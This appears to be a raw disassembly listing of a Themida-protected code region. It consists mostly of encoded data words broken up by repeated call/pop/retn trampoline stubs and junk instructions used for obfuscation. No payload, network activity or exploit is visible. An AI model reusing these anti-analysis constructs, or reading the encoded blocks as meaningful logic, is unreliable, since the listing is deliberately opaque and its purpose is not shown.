dd 83060B06h, 0B0EE5BDh, 840F0006h, 67Ch, 1611BD83h, 0F00060Bh
dd 66F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 536BE0B9h, 0D9958952h, 5F060B2Ah
dd 9D9589h, 8D8D060Bh, 60B0245h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0DBC35545h, 8401C7EBh, 6A44B27Ch
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 5A6C350h, 0D6691C6Ah, 0FA881487h, 0CFCB0181h
dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 64323FC3h, 9E8h, 93804E00h, 57B7B163h, 0B5897EF0h
dd 60B0919h, 441C75Fh, 0CE706B34h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0CEC35242h, 99729561h, 8B66A0AFh
dd 44181FEh, 31D6D710h, 9D89006Ah, 60B16B5h, 245858Dh
dd 8509060Bh, 60B0AB9h, 12E851h, 0F7C10000h, 0C75CA0CCh
dd 55A870D3h, 0A2DE9EFBh, 2F8365E2h, 1879B501h, 5E5E060Bh
dd 0BCB66090h, 505B5660h, 5A310F52h, 50616158h, 310F5250h
dd 0F249BE66h, 8990585Ah, 0B00C195h, 0E595FF06h, 6A060B0Eh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0C85FC357h, 604103F6h, 14E9h, 5B051100h
dd 12E538ECh, 0D36FAA2Eh, 5214C158h, 72D56E0Fh, 2800FD9h
dd 0B4000000h, 8D8D6138h, 60B0245h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 19C35747h, 0E850BB1Bh, 5, 0D425C6Dh
dd 0DE941h, 1D310000h, 2DBE5474h, 168B59B1h, 5F11B58Bh
dd 0C7FE8B5Eh, 1, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0C874119Ch, 8D895775h
dd 60B0E9Dh, 0C7FFBF0Fh, 441h, 0CE90000h, 0D3000000h, 594E5F00h
dd 0C224027Ah, 0B18DDD3h, 79840FC0h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 50F2C356h, 0BD8B575Fh, 60B20E1h, 0D78D8D5Fh, 6A060B4Dh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 154BC357h, 82CBA693h, 0B8A0F0D9h, 5, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h, 0E1FF91C2h
dd 155BBF66h, 2458D8Dh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 70009EC3h, 8F3B4A3Fh
dd 661C0BEEh, 38E8DF81h, 6800F51h, 8B000000h, 0B2179BDh
dd 1C75E06h, 44AA727Ch, 0DADBD03h, 181060Bh, 1499CFCBh
dd 0AAA9BE66h, 3C0441C7h, 81CE7875h, 2D2BADEh, 25B58B71h
dd 81060B04h, 0D7100441h, 6A31D6h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 6A4EAEC3h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0D500A5Ah, 52F9BF0Fh, 18D19D89h, 8D5F060Bh, 0B024585h
dd 31B58B06h, 90060B2Ah, 12E850h, 45C40000h, 0DA5571F8h
dd 57DB0771h, 6066CF34h, 0EDB9244Fh, 0EE32D3BEh, 6A905F15h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 2DC2C351h, 5CCE6B4Dh, 896F24F5h, 0B0BA195h
dd 1681BE06h, 95FF1B56h, 60B0EE5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 52C35141h, 0F8F2656Bh, 23619444h
dd 8E9h, 3250500h, 0D975C2BEh, 458D8DC1h, 0BE060B02h, 54BAC0Bh
dd 1BB99D89h, 1C7060Bh, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5792CF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5792CF proc near ; CODE XREF: Themida_:005792C7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5792CF endp
; ---------------------------------------------------------------------------
db 99h
dd 0CF7BE250h, 0D7522CC7h, 9E9F3h, 33980000h, 74A0B4D1h
dd 0C7443BC9h, 441h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0D52A95C3h, 7BE5B396h
dd 0BD8BFCD8h, 60B1169h, 0E79B58Bh, 0C00B060Bh, 71840Fh
dd 0BF660000h, 81660EB2h, 8D349EF6h, 0B4DD78Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0D0EC93DBh, 0B6C6106Eh, 816694DAh, 606837DEh, 3D23BF66h
dd 9519589h, 0B861060Bh, 5, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 0E3C35545h, 3F3EA3Dh, 0B2029BDh, 8DE1FF06h
dd 0B02458Dh, 68C0F06h, 89000000h, 0B00A58Dh, 0A501C706h
dd 6654CA95h, 181F08Bh, 1499CFCBh, 0B850Fh, 6E90000h, 76000000h
dd 0AD9A86F4h, 89B58B07h, 0C7060B0Eh, 59690441h, 0B529CE5Fh
dd 60B2EE1h, 10044181h, 6A31D6D7h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E544C353h
dd 5CF0E5A6h, 6AF581F7h, 8F0F00h, 8D000000h, 0B024585h
dd 99BD8B06h, 0E9060B0Fh, 11h, 0D3CA4994h, 0E953F505h
dd 3895878Dh, 2F3FFB14h, 4895079h, 0F9B70F24h, 0EE595FFh
dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 9AE530C3h, 977946CAh, 891507DBh, 0B02098Dh
dd 3ACE8106h, 8D48B8D1h, 0B02458Dh, 89C78106h, 0C73ACB6Ah
dd 1, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0F87AEFC4h, 109B9ABCh, 9529F960h
dd 60B12CDh, 441C761h, 0
; ---------------------------------------------------------------------------
mov edi, [ebp+60B01CDh]
movsx edi, cx
or eax, eax
jz loc_579540
mov esi, edx
lea ecx, [ebp+60B4DD7h]
sub [ebp+60B022Dh], esi
mov eax, 5
sub esi, [ebp+60B19B9h]
mov esi, 33F58813h
jmp ecx
; ---------------------------------------------------------------------------
push 0
push esi
call sub_579500
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579500 proc near ; CODE XREF: Themida_:005794F8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_579500 endp
; ---------------------------------------------------------------------------
dd 0AE8F7h, 0C6E70000h, 73C3FA63h, 4FC9308Bh, 14E9h, 34913A00h
dd 0E7A637D1h, 0AD866181h, 78A1C07Bh, 0FBF786DBh, 9D895EF0h
dd 60B1369h
; ---------------------------------------------------------------------------
loc_579540: ; CODE XREF: Themida_:005794CFj
add ecx, edx
jmp near ptr dword_5780C4+69Eh
; ---------------------------------------------------------------------------
mov [ebp+60B17C5h], eax
sub esi, 7A2212EBh
mov eax, ecx
push 0
push ebx
call sub_579560
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579560 proc near ; CODE XREF: Themida_:00579558p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_579560 endp
; ---------------------------------------------------------------------------
test esp, edx
js loc_57957E
mov [ebp+60B1F9Dh], edi
loc_57957E: ; CODE XREF: Themida_:00579572j
jmp short loc_579584
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_579584: ; CODE XREF: Themida_:loc_57957Ej
push 0
push esi
call sub_57958F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57958F proc near ; CODE XREF: Themida_:00579587p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_57958F endp
; ---------------------------------------------------------------------------
db 67h
dd 799AEA8Ah, 0F92DB6B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0D5C35747h, 741AB4C3h, 3FACA97Bh, 0AE956h
dd 8FFF0000h, 74FD90E2h, 613F2D74h, 28A9858Dh, 9E9060Bh
dd 8C000000h, 6B08D4F4h, 0A41BC4FBh, 830F90h, 50000000h
dd 5E9h, 2C82E400h, 6A909CFFh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 4339C353h, 0E807F84Bh
dd 0FE8h, 0DD251700h, 0E12A390Ah, 2363E52Bh, 4B3686E8h
dd 0DD68166h, 6A5E54h, 3155B58Bh, 6A060Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C6C35747h, 29C68133h
dd 8D07C58Ch, 0ED6FF85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0FFF5C78h, 0BD89F0B7h
dd 60B1F65h, 21511EBEh, 5C08324h, 2A19D89h, 0E850060Bh
dd 0Bh, 5B1DAE6Eh, 0ED597BC4h, 66903A1Ch, 5E8A7BBEh, 6A240489h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 51DF6B3Ch, 7F7AD49Eh, 25B5890Dh, 6A060B2Bh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 8B0C2F4Ch, 0B0B6DB5h, 219CBE06h, 95FF1C4Ch
dd 60B2F21h, 0C11F06BEh, 0B09D8D76h, 6A060EA7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 6639C356h, 7955CE81h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 85FF43C3h, 60B066Dh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A7C35747h
dd 14E94F02h, 90000000h, 4B567200h, 0EDE4E18Dh, 431E84B9h
dd 0C7080046h, 0E9DD8D0Fh, 0A48h, 0E8h, 0ED815D00h, 60ED709h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 18C35545h
dd 0E7053599h, 0BD81E276h, 60B3385h, 7D0h, 13D860Fh, 95290000h
dd 60B28E5h, 1A9D9D8Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 8D46E6C3h, 70D8532Eh
dd 8B81CA67h, 0E381F0h, 66000001h, 0B2831BEh, 0B5850FDBh
dd 8B000000h, 0B240DB5h, 0DCBD8306h, 60ED4h, 53840Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 87B9AEC3h, 0ABE9F701h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 291C352h
dd 7665A709h, 0BDBD2990h, 29060B16h, 0B05AD9Dh, 0DC85C706h
dd 1060ED4h, 0E9000000h, 6Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0FFC35545h, 0C283321h, 0E8813C2Eh
dd 14E95164h, 0D9000000h, 135B02FBh, 82B24F5Eh, 1755CCFAh
dd 0ED2EBF16h, 5EB3012Bh, 0D4DC85C7h, 60Eh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 9058CCC3h, 0A48FBEF3h, 9D8D5441h, 60B1A9Dh, 0BCE68166h
dd 0FF23815Fh, 66FFFFFEh, 6637EEBEh, 6ADB8Ch, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 39173EC3h
dd 606223FDh, 1FFD9D01h, 0BF66060Bh, 66616DE9h, 0AB36DE81h
dd 0F04C3F6h, 9084h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0B92D3A9h, 0F38B6680h
dd 0FFF6B70Fh, 0B18ED95h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 8CF5D4DFh
dd 958F48B7h, 11BD89F0h, 60060B05h, 31F99D89h, 9061060Bh
dd 50F08B66h, 5E9h, 74B40500h, 6A9049EDh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0A43FC356h
dd 0FD62118h, 411E922h, 0BF0F0000h, 6A00B0F1h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 97DAC352h, 89F2BF0Fh, 0B31D1B5h, 0CCBE6606h, 6A70E6E5h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 5E99C356h, 0D7B95EF5h, 0BE66B300h, 71E448C9h
dd 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0E91BC357h, 13h, 833E133Bh, 0A72742BEh
dd 387302A3h, 0F2656B52h, 0BA9444F8h, 6, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ch, 81C35141h, 0D1122646h
dd 0A1DCF065h, 851BD31h, 8BF8060Bh, 53006AC3h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0A5F4AB8Ch
dd 0B577474Eh, 8E85C65h, 4D000000h, 676EF121h, 0FE39028h
dd 8B5EF3BFh, 0B1F35B5h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 2DC35343h, 8B605D9Bh, 0B31D195h
dd 6830F06h, 8B000000h, 0B14E5BDh, 0F7666106h, 56006AE2h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 12B2BF0Ah, 517968C5h, 0E952EA50h, 0Ah, 0EF7E9FC1h, 8630A294h
dd 2B5E91CEh, 0CE8166D8h, 60508F71h, 8194F0BAh, 1C89616Eh
dd 0F2BF0F24h, 3385B5FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 9ADFCC3h, 992E7378h
dd 2ED58589h, 95FF060Bh, 60B32DDh, 0AC1950BEh, 6600B061h
dd 70E6F28Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 20C35040h, 613C71E4h, 229830Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 9F8757C3h, 0B60FF8A4h, 6BAD8h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 22A919C3h
dd 0B3F3DDA4h, 23F68166h, 0F8C38BF4h, 6A04E8C1h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 9BE6C353h, 8B6ADB9Ch, 0E2F766F1h, 29B5B58Bh, 0D82B060Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h
dd 5E176D8Dh, 0ADB5332Bh, 58060B01h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 83C35646h, 0B95B6032h, 0B58930AAh
dd 60B2349h, 880FD82Bh, 14Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 8EC35040h, 0BEA6BB04h, 1D990EA1h
dd 7B9h, 26D68100h, 8B432C74h, 0B2AB5B5h, 0C18306h, 23D68166h
dd 0FD93BB1h, 10A86h, 14E900h, 0D3DA0000h, 35CD9C95h, 625C6D1h
dd 8559637Bh, 1AA72804h, 8C660B65h, 0C1F6F5D9h, 0E1840F04h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 7EE4C351h, 8B6D84C6h, 0B0241B5h
dd 0ED95FF06h, 0E9060B18h, 0Ch, 49C9222Ch, 0C01C33D5h
dd 9159938h, 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 6A0612CDh, 0B58B619Fh, 60B2E31h
dd 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0A18127C3h, 127DB533h, 343D060Bh, 0F000008h
dd 4B86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 3EBC7C42h, 14E9E9F6h, 40000000h
dd 0A1BE8043h, 0C0CB2C0Eh, 0B129F951h, 6D69C59Dh, 146807Bh
dd 0B33A585h, 9E906h, 0B5330000h, 60B2729h, 8BF8C08Bh
dd 0E9D88BC3h, 0Ah, 0BA7BCFFFh, 20FD2453h, 85C79A15h, 60B0869h
dd 5F268317h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 4CC35242h, 0B5231653h, 60B0769h, 6AC08Bh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0A15833C3h, 85BD8160h, 0D0060B33h, 0F000007h, 2F85h
dd 0A9B58B00h, 0FF060B0Fh, 0B338585h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 85891F07h, 60B2155h, 3385B5FFh, 6A060Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5804B5C3h
dd 0D5ACBE66h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 0F8B63CC3h, 66D88B90h
dd 46C3EE81h, 2715BD83h, 0F00060Bh, 3C84h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 11E9A0CCh, 9F000000h, 0C88E2773h, 8CF5D4DFh, 958F48B7h
dd 2C52CF0h, 280E9h, 48BE6600h, 6ADF8C3Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 188AC357h
dd 46FC4B57h, 0F68162CBh, 345E6B60h, 66F28B66h, 4C7F7h
dd 243850Fh, 11E90000h, 6F000000h, 0C5525A85h, 764AD0A8h
dd 5D145A4Fh, 3C6A2592h, 9D8DFF2Bh, 60EE0CCh, 8950F28Bh
dd 8589241Ch, 60B1EB1h, 35FF64h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CF33C356h
dd 345D2E6Fh, 89BDB0FDh, 0B187185h, 8964F806h, 25h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0EEC9817Fh, 4714745Dh, 6AC48B6Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0EB64C352h
dd 30DC495h, 8D0F5C66h, 2, 0F08BF18Bh, 0EB01CDh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 65C35747h, 4896682Ch
dd 9F5C3A4h, 0B339185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 3FF8133Dh, 5818C582h
dd 5860F4Ch, 0BE000000h, 64490F84h, 58F64h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0BAFAC357h, 0F78B663Ch, 698D89h, 0C483060Bh
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0E92FF445h, 12h, 49F03831h, 9608F93Eh, 79917928h
dd 82975AB8h, 0C00B7FADh, 0C3840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570F31C3h
dd 2C9B58Bh, 0BD8D060Bh, 60B4DD7h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 6BC35040h, 0CA567320h, 0F78B662Ah
dd 5B8h, 0F6BF0F00h, 0E9F9E7FFh, 14h, 0B1487981h, 88F2D5EEh
dd 0BD4DF798h, 53BDD876h, 27EEB391h, 245C8B57h, 0B8838B10h
dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
dd 335F0200h, 6AC3C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 5DC38CC3h, 0A6A32B77h, 41B58B5Bh
dd 89060B12h, 0B0F59BDh, 0E9CA2B06h, 0FFFFF5E0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F4C35646h, 20F1B58Bh
dd 0B58B060Bh, 60B2945h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 8A82A2C3h, 4EBh, 0BD8B0000h
dd 60B1B69h, 33499589h, 6A060Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0E1E1C0C3h, 59D71B0h
dd 5640BD5Fh, 858D5FF5h, 60B28A9h, 2488D681h, 0E9906AECh
dd 5, 733075A3h, 5E850E6h, 51000000h, 22A90B9h, 8C0Fh
dd 905E0000h, 0AE8h, 0E5AC900h, 0FF44F157h, 5F6BD8A4h
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0A36491C3h, 0B8AE2369h, 0C1264BBEh, 0F006A54h
dd 0E8Ch, 9E900h, 0BD4C0000h, 0DDBCF13Fh, 8DF875DBh, 0EE36B85h
dd 19BD8906h, 0E8060B19h, 0Ch, 2241F1CAh, 1F9F280Ch, 3CBD633Fh
dd 10E9h, 3644E200h, 0C4A54AE9h, 683D291Dh, 1EAFB41h, 0C0835F7Ch
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0F2F8C8Dh, 388h, 0FE8B6600h, 0F08B6690h
dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 3154EDC3h, 11E811h, 0D5E60000h, 95D43F3Ah
dd 0F09F7377h, 0C29D5CB6h, 0BF294BD2h, 743C73EBh, 0D9B5895Eh
dd 6A060B2Ah, 0BE900h, 59570000h, 39FAD101h, 8F680B3Ah
dd 66006AB5h, 95FFFB8Bh, 60B2F21h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 85C35545h, 812BAAC2h, 0BE9EA1C7h
dd 0B09D8D15h, 0E9060EA7h, 11h, 0A8BDB7E7h, 43FAE3B8h
dd 6E1DD302h, 0C4D450BBh, 6AD3FF62h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 38E7C353h
dd 66D85FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0DF7A34C3h, 3365B58Bh, 0E9FC060Bh
dd 86Ch, 0E8h, 0ED815D00h, 60EE375h, 9E190BBFh, 85BD817Bh
dd 0D0060B33h, 0F000007h, 16A86h, 51BD0900h, 8B060B05h
dd 0B29859Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 6BAB2107h, 8B66377Ch, 0E381F8h, 0E9000001h
dd 0Ah, 907BDD9Ch, 0BD48D5FCh, 0DB0B1CC3h, 0C3850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 833250C3h, 0EE16EBDh, 840F0006h, 2Dh, 0BDE9F88Bh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0D34BC351h, 8B1D5B34h, 0B30EDBDh, 6E85C706h
dd 1060EE1h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 0ADF6C351h, 66F96E6Bh
dd 5682C781h, 63E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 6CEF46A8h, 2A1658A2h
dd 8B607468h, 0B15159Dh, 8F0F06h, 61000000h, 20EF8166h
dd 6E85C7C2h, 60EE1h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0A202C353h, 0F3BF0F1Eh
dd 29859D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 81FCDFC3h, 0FFFEFF23h, 0DDBD8BFFh
dd 66060B15h
dd 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0BFDA23C3h, 68685E42h, 6068EFC2h, 20CD8509h
dd 880F060Bh, 2, 0F6615B53h, 840F04C3h, 0ABh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D8C35141h, 8D970B57h
dd 95FF7A75h, 60B18EDh, 6E8h, 0A3713E00h, 0F5F757E4h, 0EE8905Eh
dd 1B000000h, 66194D1Bh, 3546DE1Ah, 16506D9Ch, 5E8F2h
dd 352C0000h, 50319F3Ah, 5A310F52h, 505F5F58h, 52505250h
dd 310F6160h, 0DE9h, 0A17D0900h, 321F7C13h, 70799984h
dd 585ADCDEh, 77BE310Fh, 5A03FC64h, 6A9058h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B4FE04C3h
dd 462A6C97h, 0E1BD31D9h, 0E9060B0Fh, 3A1h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 34C35141h, 519F9A88h
dd 0B523FA8Bh, 60B2DE5h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 923343C3h, 891242ABh
dd 0B06F9BDh, 8170E606h, 3251A7F6h, 0FDD68144h, 0E420357Dh
dd 0F8B70F71h, 29D8B60Fh, 0B079185h, 6BA06h, 0FC600000h
dd 881858Bh, 8B61060Bh, 4E8C1C3h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0B2C35141h, 0C2A5C05Fh, 5E8E78Ah
dd 23000000h, 0E7EF8767h, 8C0F5FF5h, 3, 66FA8B66h, 0B509E2F7h
dd 60B283Dh, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 7D596BC3h, 800F12F1h, 0
; ---------------------------------------------------------------------------
push eax
mov [esp], ebx
push 0
push ecx
call sub_57A787
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A787 proc near ; CODE XREF: Themida_:0057A77Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_57A787 endp
; ---------------------------------------------------------------------------
stosd
jg short loc_57A7CE
push edi
inc edi
mov dh, 0A9h
ror dword ptr [ebx+0B02F9BDh], 1
push es
push dword ptr [ebp+60B3385h]
push 0
push eax
call sub_57A7B6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A7B6 proc near ; CODE XREF: Themida_:0057A7AEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_57A7B6 endp
; ---------------------------------------------------------------------------
mov dl, 8Bh
xor [esi-76C05BCCh], ebx
loc_57A7CE: ; CODE XREF: Themida_:0057A798j
xchg eax, ebp
pop ebp
or al, 0Bh
push es
call dword ptr [ebp+60B32DDh]
push 0
push esi
call sub_57A7E4
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A7E4 proc near ; CODE XREF: Themida_:0057A7DCp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_57A7E4 endp
; ---------------------------------------------------------------------------
dd 0ABC89AB3h, 816600B0h, 314249D6h, 0B0609B5h, 0E470E606h
dd 0F613C71h, 22083h, 880F5700h, 0
; ---------------------------------------------------------------------------
pop esi
movzx ebx, al
push 0
push ebp
call sub_57A827
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A827 proc near ; CODE XREF: Themida_:0057A81Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_57A827 endp
; ---------------------------------------------------------------------------
sbb al, 8Bh
mov ebp, 60B1645h
mov edx, 6
jmp loc_57A855
; ---------------------------------------------------------------------------
and ebp, [edi]
pop ebp
dec ebx
sbb byte ptr [ecx-7Ah], 55h
mov [edx], eax
push ecx
retf
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
loc_57A855: ; CODE XREF: Themida_:0057A843j
mov eax, ebx
cld
and edi, [ebp+60B15E9h]
shr eax, 4
push 0
push esi
call sub_57A86C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A86C proc near ; CODE XREF: Themida_:0057A864p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_57A86C endp
